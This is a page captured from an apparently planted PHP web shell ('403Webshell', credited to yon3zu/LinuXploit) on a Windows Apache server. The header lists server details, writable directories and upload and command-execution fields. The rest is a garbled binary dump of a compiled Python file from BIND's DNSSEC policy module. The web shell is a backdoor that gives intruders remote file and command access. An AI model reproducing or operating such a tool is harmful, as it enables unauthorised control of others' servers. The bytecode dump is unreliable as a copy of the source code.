403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/isc/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/isc/__pycache__/policy.cpython-37.opt-2.pyc
B

��e]1g�
@s>ddlZddlmZddlmZddlTddlmZGdd�d�ZGdd�d�ZGdd	�d	e	�Z
Gd
d�d�Zedk�r:ddl
Z
e
jd
dkr�ee
jd�Ze��Ze��ed
d�Ze�e�nxe
jd
dk�r:y4ee
jdddd�Zeejd�ee�d��Wn2e	k
�r8Zzeejd�WddZ[XYnXdS)�N)�*)�copyc@s�eZdZdZedZiZdZdZdZdZ	dZ
dd	�Zd
d�Zdd
�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�	PolicyLex)
ZPOLICYZALGORITHM_POLICYZZONEZ	ALGORITHMZ	DIRECTORYZKEYTTLZKEY_SIZEZROLL_PERIODZPRE_PUBLISHZPOST_PUBLISHZCOVERAGEZSTANDBYZNONE)	Z
DATESUFFIXZKEYTYPEZALGNAME�STR�QSTRING�NUMBER�LBRACE�RBRACE�SEMIz 	z	(//|\#).*z\{z\}�;cCs|jj|j�d�7_dS)N�
)�lexer�lineno�value�count)�self�t�r�/usr/lib/python3.7/policy.py�	t_newline7szPolicyLex.t_newlinecCs|jj|j�d�7_dS)Nr)r
rrr)rrrrr�	t_comment;szPolicyLex.t_commentcCst�d|j��d���|_|S)Nz(?i)(y|mo|w|d|h|mi|s)([a-z]*)�)�re�matchr�group�lower)rrrrr�t_DATESUFFIX?szPolicyLex.t_DATESUFFIXcCs|j��|_|S)N)r�upper)rrrrr�	t_KEYTYPEDszPolicyLex.t_KEYTYPEcCs|j��|_|S)N)rr)rrrrr�	t_ALGNAMEIszPolicyLex.t_ALGNAMEcCs|j�|jd�|_|S)Nr)�reserved_map�getr�type)rrrrr�t_STRNszPolicyLex.t_STRcCs&|j�|jd�|_|jdd�|_|S)Nrr���)r r!rr")rrrrr�	t_QSTRINGSszPolicyLex.t_QSTRINGcCst|j�|_|S)N)�intr)rrrrr�t_NUMBERYszPolicyLex.t_NUMBERcCs"td|jd�|j�d�dS)NzIllegal character '%s'rr)�printrr
�skip)rrrrr�t_error^szPolicyLex.t_errorcKsbdtt�krt�dd�}n
tdd�}x"|jD]}||j|���|�<q,Wtjfd|i|��|_dS)N�	maketrans�_�-�object)	�dir�strr+�reservedr r�	translate�lexr
)r�kwargsZtrans�rrrr�__init__bs
zPolicyLex.__init__cCs.|j�|�x|j��}|sPt|�qWdS)N)r
�input�tokenr()r�textrrrr�testks
zPolicyLex.testN)�__name__�
__module__�__qualname__r1�tokensr Zt_ignoreZt_ignore_olcommentZt_LBRACEZt_RBRACEZt_SEMIrrrrrr#r%r'r*r6r:rrrrrs&		rc
@s�eZdZdZdZdZdZdZdZdZ	dZ
dZdZdZ
dZdZdZdZdZddgddgddgddgddgddgddgdddddd�Zddd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�ZdS)�PolicyFNiii)�DSA�NSEC3DSA�RSAMD5�RSASHA1�NSEC3RSASHA1�	RSASHA256�	RSASHA512�ECCGOST�ECDSAP256SHA256�ECDSAP384SHA384�ED25519�ED448cCs||_||_||_dS)N)�name�	algorithm�parent)rrLrMrNrrrr6�szPolicy.__init__cCsFd|jrdp"|jrdp"|jr dp"d|jp*d|jr8|jjp:d|jrRdt|j�dpTd|jp\d|jrlt|j�pnd|j	r~t|j	�p�d|j
r�t|j
�p�d|jr�t|j�p�d|jr�t|j�p�d|j
r�t|j
�p�d|jr�t|j�p�d|jr�t|j�p�d|jr�t|j�p�d|j�rt|j��pd|j�r(t|j��p*d|j�r>t|j��p@dfS)	Na%spolicy %s:
	inherits %s
	directory %s
	algorithm %s
	coverage %s
	ksk_keysize %s
	zsk_keysize %s
	ksk_rollperiod %s
	zsk_rollperiod %s
	ksk_prepublish %s
	ksk_postpublish %s
	zsk_prepublish %s
	zsk_postpublish %s
	ksk_standby %s
	zsk_standby %s
	keyttl %s
zconstructed zzone z
algorithm �ZUNKNOWN�None�")�is_constructed�is_zone�is_algrLrN�	directoryr0rM�coverage�ksk_keysize�zsk_keysize�ksk_rollperiod�zsk_rollperiod�ksk_prepublish�ksk_postpublish�zsk_prepublish�zsk_postpublish�ksk_standby�zsk_standby�keyttl)rrrr�__repr__�s(

zPolicy.__repr__cCs |d|ko|dkSS)Nrrr)rZkey_sizeZ
size_rangerrrZ
__verify_size�szPolicy.__verify_sizecCs|jS)N)rL)rrrr�get_name�szPolicy.get_namecCs|jS)N)rR)rrrr�constructed�szPolicy.constructedcCs*|jr:|jdk	r:|j|jkr:t|j�dd|j|jffS|jrj|jdk	rj|j|jkrjdd|j|jffS|jr�|jdk	r�|j|jkr�dd|j|jffS|jr�|jdk	r�|j|jkr�dd|j|jffS|j�r|j�r|j�r|j|j|jk�rdd|j|j|jffS|j�rR|j�rR|j�rR|j|j|jk�rRdd|j|j|jffS|jdk	�r&|j�	|j�}|dk	�r�|�
|j|��s�dd|j|ffS|�
|j|��s�dd	|j|ffS|jd
k�r�|jddk�r�dd
|jfS|jd
k�r|jddk�rdd|jfS|jdk�r&d|_d|_dS)NFz6KSK pre-publish period (%d) exceeds rollover period %dz7KSK post-publish period (%d) exceeds rollover period %dz6ZSK pre-publish period (%d) exceeds rollover period %dz7ZSK post-publish period (%d) exceeds rollover period %dzGKSK pre/post-publish periods (%d/%d) combined exceed rollover period %dzGZSK pre/post-publish periods (%d/%d) combined exceed rollover period %dz&KSK key size %d outside valid range %sz&ZSK key size %d outside valid range %s)r@rA�@rz7KSK key size %d not divisible by 64 as required for DSAz7ZSK key size %d not divisible by 64 as required for DSA)rGrHrIrJrK)TrO)
rYr[r(r\rZr]r^rM�valid_key_sz_per_algor!�_Policy__verify_sizerWrX)rZkey_sz_rangerrr�validate�s�







zPolicy.validate)NNN)r;r<r=rSrTrRrYrZr[r]r\r^rWrXr_r`rarVrUrfr6rbrgrcrdrhrrrrr?vsD
&r?c@seZdZdS)�PolicyExceptionN)r;r<r=rrrrri)sric@s.eZdZiZiZiZdZdZdZdEdd�Z	dd�Z
dd�Zd	d
�Zdd�Z
d
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Z d3d4�Z!d5d6�Z"d7d8�Z#d9d:�Z$d;d<�Z%d=d>�Z&d?d@�Z'dAdB�Z(dCdD�Z)dS)F�
dnssec_policyNTcKs�t�|_|jj|_d|kr"d|d<d|kr2d|d<tjfd|i|��|_|�d�t�}d|_d|_d|_	d|_
t|�|jd<d|jd_d|jd_
d	|jd_	t|�|jd
<d
|jd
_d
|jd
_
d	|jd
_	t|�|jd<d|jd_d|jd_
t|�|jd<d|jd_d|jd_
t|�|jd
<d
|jd
_d
|jd
_
t|�|jd<d|jd_d|jd_
t|�|jd<d|jd_d|jd_
t|�|jd<d|jd_d|jd_
t|�|jd<d|jd_d|jd_
d|jd_	d|jd_
t|�|jd<d|jd_d|jd_
d|jd_	d|jd_
t|�|jd<d|jd_d|jd_
d|jd_	d|jd_
t|�|jd<d|jd_d|jd_
d|jd_	d|jd_
|�r�|�|�dS)N�debugF�write_tables�moduleapolicy global { algorithm rsasha256;
                                      key-size ksk 2048;
                                      key-size zsk 2048;
                                      roll-period ksk 0;
                                      roll-period zsk 1y;
                                      pre-publish ksk 1mo;
                                      pre-publish zsk 1mo;
                                      post-publish ksk 1mo;
                                      post-publish zsk 1mo;
                                      standby ksk 0;
                                      standby zsk 0;
                                      keyttl 1h;
                                      coverage 6mo; };
                      policy default { policy global; };Tir@irArBrCrDrErFrGrHrIrJrK)r�plexr>�yacc�parser�setupr?rMrTrWrXr�
alg_policyrL�load)r�filenamer4�prrrr64s|

zdnssec_policy.__init__c	CsH||_d|_t|��$}|��}d|jj_|j�|�WdQRXd|_dS)NTr)	rt�initial�open�readrnr
rrp�parse)rrt�fr9rrrrs�s

zdnssec_policy.loadcCs d|_d|jj_|j�|�dS)NTr)rvrnr
rrpry)rr9rrrrq�s
zdnssec_policy.setupc	KsD|��}d}||jkr |j|}|dkrBt|jd�}||_d|_|jdkr�|jpZ|jd}x|rp|jsp|j}q^W|r||jp~d|_|j|jkr�|j|j}nt	d��|j
dkr�|jp�|jd}x|dk	r�|j
s�|j}q�W|o�|j
|_
|jdk�r2|jp�|jd}x|�r|j�s|j}�qW|�r*|j�p.|j|_|jdk�r�|j�pN|jd}x|j�rl|j�sl|j}�qRW|�r||j�p�|j|_|j
dk�r�|j�p�|jd}x|j�r�|j
�s�|j}�q�W|�r�|j
�p�|j
|_
|jdk�r(|j�p�|jd}x|j�r|j�s|j}�q�W|�r |j�p$|j|_|jdk�rz|j�pD|jd}x|j�rb|j�sb|j}�qHW|�rr|j�pv|j|_|jdk�r�|j�p�|jd}x|j�r�|j�s�|j}�q�W|�r�|j�p�|j|_|jdk�r|j�p�|jd}x|j�r|j�s|j}�q�W|�r|j�p|j|_|jdk�rp|j�p:|jd}x|j�rX|j�sX|j}�q>W|�rh|j�pl|j|_|jdk�r�|j�p�|jd}x|j�r�|j�s�|j}�q�W|�r�|j�p�|j|_|jdk�r|j�p�|jd}x|dk	�r�|j�s�|j}�q�W|�o
|j|_d|k�s"|d�s@|��\}}|�s@t	|��dS|S)N�defaultTzalgorithm not foundZ
novalidate)r�zone_policyr�named_policyrLrRrMrNrrrirUrVrWrXrYrZr[r]r\r^rarh)	rZzoner4�zrurNZapZvalid�msgrrr�policy�s�





zdnssec_policy.policycCsdS)Nr)rrurrr�p_policylist
szdnssec_policy.p_policylistcCs
d|_dS)NF)rv)rrurrr�p_initszdnssec_policy.p_initcCsdS)Nr)rrurrr�p_policyszdnssec_policy.p_policycCs|d|d<dS)Nrrr)rrurrr�p_nameszdnssec_policy.p_namecCs,|d��|d<t�d|d�s(td��dS)Nrrz^[\w.-][\w.-]*$zinvalid domain)�striprrri)rrurrr�p_domain szdnssec_policy.p_domaincCst�|_dS)N)r?�current)rrurrr�p_new_policy*szdnssec_policy.p_new_policycCs(|d|j_d|j_|j|j|d<dS)N�T)r�rLrTrr)rrurrr�p_alg_policy.szdnssec_policy.p_alg_policycCs8|d�d�|j_d|j_|j|j|d�d���<dS)Nr��.T)�rstripr�rLrSr|r)rrurrr�
p_zone_policy5szdnssec_policy.p_zone_policycCs$|d|j_|j|j|d��<dS)Nr�)r�rLr}r)rrurrr�p_named_policy<szdnssec_policy.p_named_policycCs|d|d<dS)Nrrr)rrurrr�p_duration_1Bszdnssec_policy.p_duration_1cCsd|d<dS)Nrr)rrurrr�p_duration_2Gszdnssec_policy.p_duration_2cCs�|ddkr|dd|d<n�|ddkr<|dd|d<n�|ddkrZ|dd	|d<n||dd
krx|dd|d<n^|ddkr�|dd
|d<n@|ddkr�|dd|d<n"|ddkr�|d|d<ntd��dS)Nr��yri�3�r�moi�'�wi�:	�di�Q�hi�mi�<�szinvalid duration)ri)rrurrr�p_duration_3Lszdnssec_policy.p_duration_3cCsdS)Nr)rrurrr�p_policy_option_group_sz#dnssec_policy.p_policy_option_groupcCsdS)Nr)rrurrr�p_policy_option_listcsz"dnssec_policy.p_policy_option_listcCsdS)Nr)rrurrr�p_policy_optionhszdnssec_policy.p_policy_optioncCsdS)Nr)rrurrr�p_alg_option_groupusz dnssec_policy.p_alg_option_groupcCsdS)Nr)rrurrr�p_alg_option_listyszdnssec_policy.p_alg_option_listcCsdS)Nr)rrurrr�p_alg_option~szdnssec_policy.p_alg_optioncCs|j|d��|j_dS)Nr�)r}rr�rN)rrurrr�p_parent_option�szdnssec_policy.p_parent_optioncCs|d|j_dS)Nr�)r�rU)rrurrr�p_directory_option�sz dnssec_policy.p_directory_optioncCs|d|j_dS)Nr�)r�rV)rrurrr�p_coverage_option�szdnssec_policy.p_coverage_optioncCs*|ddkr|d|j_n|d|j_dS)Nr��KSK�)r�rYrZ)rrurrr�p_rollperiod_option�sz!dnssec_policy.p_rollperiod_optioncCs*|ddkr|d|j_n|d|j_dS)Nr�r�r�)r�r[r])rrurrr�p_prepublish_option�sz!dnssec_policy.p_prepublish_optioncCs*|ddkr|d|j_n|d|j_dS)Nr�r�r�)r�r\r^)rrurrr�p_postpublish_option�sz"dnssec_policy.p_postpublish_optioncCs*|ddkr|d|j_n|d|j_dS)Nr�r�r�)r�rWrX)rrurrr�p_keysize_option�szdnssec_policy.p_keysize_optioncCs*|ddkr|d|j_n|d|j_dS)Nr�r�r�)r�r_r`)rrurrr�p_standby_option�szdnssec_policy.p_standby_optioncCs|d|j_dS)Nr�)r�ra)rrurrr�p_keyttl_option�szdnssec_policy.p_keyttl_optioncCs|d|j_dS)Nr�)r�rM)rrurrr�p_algorithm_option�sz dnssec_policy.p_algorithm_optioncCsd|r.td|jpd|jrdnd|j|jf�n2|js`td|jp@d|jrJdnd|rV|jpXdf��dS)Nz%s%s%d:syntax error near '%s'rO�:z%s%s%d:unexpected end of inputr)r(rtrrrvri)rrurrr�p_error�szdnssec_policy.p_error)N)*r;r<r=rrr}r|r�rtrvr6rsrqr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrj,sN
_
h


rj�__main__rr3r�)rkryT)rlrkr{znonexistent.zone)rZply.lexr3Zply.yaccro�stringrrr?�	Exceptionrirjr;�sys�argvrw�filerxr9�closernr:�ppr(r}r��e�argsrrrr�<module>s6`4!



Youez - 2016 - github.com/yon3zu
LinuXploit